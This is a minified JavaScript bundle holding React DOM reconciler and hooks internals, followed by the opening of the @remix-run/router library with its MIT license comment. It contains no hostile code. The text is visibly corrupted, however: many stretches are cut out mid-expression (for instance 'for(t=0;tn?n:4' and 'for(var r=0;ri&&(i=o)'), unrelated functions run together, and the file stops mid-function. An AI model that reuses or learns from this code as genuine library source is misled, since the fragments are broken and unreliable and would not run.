h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function vg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function L5(){return An().memoizedState}function uP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},I5(e))D5(t,n);else if(n=v5(e,t,n,r),n!==null){var i=Wt();Gn(n,e,r,i),R5(n,t,r)}}function dP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(I5(e))D5(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,qn(l,o)){var c=t.interleaved;c===null?(i.next=i,tx(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=v5(e,t,i,r),n!==null&&(i=Wt(),Gn(n,e,r,i),R5(n,t,r))}}function I5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function D5(e,t){uo=Hc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function R5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}var Kc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},fP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:yg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,xc(4194308,4,_5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return xc(4194308,4,e,t)},useInsertionEffect:function(e,t){return xc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=uP.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:gg,useDebugValue:ux,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=gg(!1),t=e[0];return e=cP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||j5(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,yg(k5.bind(null,r,s,e),[e]),r.flags|=2048,_o(9,N5.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Po++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[zo]=r,Y5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Gm(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;iss&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304)}else{if(!r)if(e=Vc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Rs(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>ss&&n!==1073741824&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=Ye.current,Be(Ye,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return xx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function bP(e,t){switch(Xh(t),t.tag){case 1:return Jt(t.type)&&Dc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return is(),Ue(Qt),Ue($t),ax(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return ix(t),null;case 13:if(Ue(Ye),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ns()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(Ye),null;case 4:return is(),null;case 10:return ex(t.type._context),null;case 22:case 23:return xx(),null;case 24:return null;default:return null}}var Rl=!1,Rt=!1,wP=typeof WeakSet=="function"?WeakSet:Set,me=null;function Ba(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function bp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var _g=!1;function jP(e,t){if(rp=Tc,e=t5(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(ip={focusedElem:e,selectionRange:n},Tc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=_g,_g=!1,x}function fo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&bp(t,n,s)}i=i.next}while(i!==r)}}function rd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function wp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Z5(e){var t=e.alternate;t!==null&&(e.alternate=null,Z5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[zo],delete t[op],delete t[iP],delete t[aP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Q5(e){return e.tag===5||e.tag===3||e.tag===4}function Ag(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Q5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Ic));else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}function Np(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Np(e,t,n),e=e.sibling;e!==null;)Np(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)J5(e,t,n),n=n.sibling}function J5(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||Ba(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Hf(e.parentNode,n):e.nodeType===1&&Hf(e,n),bo(e)):Hf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&bp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&(Ba(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Og(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new wP),t.forEach(function(r){var i=AP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*kP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-px?Zi(e,0):mx|=n),en(e,t)}function oj(e,t){t===0&&(e.mode&1?(t=El,El<<=1,!(El&130023424)&&(El=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(el(e,t,n),en(e,n))}function _P(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),oj(e,n)}function AP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),oj(e,n)}var lj;lj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)Yt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Yt=!1,gP(e,t,n);Yt=!!(e.flags&131072)}else Yt=!1,Ke&&t.flags&1048576&&f5(t,Bc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;vc(e,t),e=t.pendingProps;var i=ts(t,$t.current);qa(t,n),i=ox(null,t,r,e,i,n);var s=lx();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Rc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,nx(t),i.updater=nd,t.stateNode=i,i._reactInternals=t,mp(t,r,e,n),t=xp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(vc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=TP(r),e=Bn(r,e),i){case 0:t=hp(null,t,r,e,n);break e;case 1:t=Cg(null,t,r,e,n);break e;case 11:t=zg(null,t,r,e,n);break e;case 14:t=Sg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),hp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Cg(e,t,r,i,n);case 3:e:{if(H5(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,g5(e,t),Uc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=as(Error(ee(423)),t),t=Pg(e,t,r,n,i);break e}else if(r!==i){i=as(Error(ee(424)),t),t=Pg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=x5(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ns(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return y5(t),e===null&&up(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ap(r,i)?o=null:s!==null&&ap(r,s)&&(t.flags|=32),V5(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&up(t),null;case 13:return K5(e,t,n);case 4:return rx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=rs(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),zg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Fc,r._currentValue),r._currentValue=o,s!==null)if(qn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),dp(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),dp(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),Sg(e,t,r,i,n);case 15:return W5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),vc(e,t),t.tag=1,Jt(r)?(e=!0,Rc(t)):e=!1,qa(t,n),$5(t,r,i),mp(t,r,i,n),xp(null,t,r,!0,e,n);case 19:return G5(e,t,n);case 22:return U5(e,t,n)}throw Error(ee(156,t.tag))};function cj(e,t){return Iw(e,t)}function OP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new OP(e,t,n,r)}function gx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function TP(e){if(typeof e=="function")return gx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Dh)return 11;if(e===Rh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function bc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")gx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case Aa:return Qi(n.children,i,s,t);case Ih:o=8,i|=8;break;case Dm:return e=Cn(12,n,t,i|2),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(13,n,t,i),e.elementType=Rm,e.lanes=s,e;case $m:return e=Cn(19,n,t,i),e.elementType=$m,e.lanes=s,e;case yw:return ad(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case vw:o=10;break e;case gw:o=9;break e;case Dh:o=11;break e;case Rh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function ad(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=yw,e.lanes=n,e.stateNode={isHidden:!1},e}function Jf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function em(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function MP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Mf(0),this.expirationTimes=Mf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Mf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function yx(e,t,n,r,i,s,o,l,c){return e=new MP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},nx(s),e}function LP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(mj)}catch(e){console.error(e)}}mj(),mw.exports=xn;var Nx=mw.exports,Bg=Nx;Lm.createRoot=Bg.createRoot,Lm.hydrateRoot=Bg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function kx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function FP(){return Math.random().toString(36).substr(2,8)}function Wg(e,t){return{usr:e.state,key:e.key,idx:t}}function Pp(e,t,n,r){return n===void 0&&(n=null),Oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?gs(t):t,{state:n,key:t&&t.key||r||FP()})}function Qc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function gs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function WP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Pp(g.location,y,v);u=d()+1;let w=Wg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Pp(g.location,y,v);u=d();let w=Wg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Qc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Fg,f),c=y,()=>{i.removeEventListener(Fg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Ug;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ug||(Ug={}));function UP(e,t,n){return n===void 0&&(n="/"),VP(e,t,n)}function VP(e,t,n,r){let i=typeof t=="string"?gs(t):t,s=os(i.pathname||"/",n);if(s==null)return null;let o=pj(e);HP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),pj(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:QP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of hj(s.path))i(s,o,c)}),t}function hj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=hj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function HP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:JP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const KP=/^:[\w-]+$/,GP=3,YP=2,qP=1,XP=10,ZP=-2,Vg=e=>e==="*";function QP(e,t){let n=e.split("/"),r=n.length;return n.some(Vg)&&(r+=ZP),t&&(r+=YP),n.filter(i=>!Vg(i)).reduce((i,s)=>i+(KP.test(s)?GP:s===""?qP:XP),r)}function JP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function eE(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function tE(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),kx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function nE(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return kx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function os(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const rE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,iE=e=>rE.test(e);function aE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?gs(e):e,s;if(n)if(iE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),kx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Hg(n.substring(1),"/"):s=Hg(n,t)}else s=t;return{pathname:s,search:lE(r),hash:cE(i)}}function Hg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function tm(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function sE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function zx(e,t){let n=sE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function Sx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=gs(e):(i=Oo({},e),Xe(!i.pathname||!i.pathname.includes("?"),tm("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),tm("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),tm("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=aE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),oE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),lE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,cE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function uE(e){return 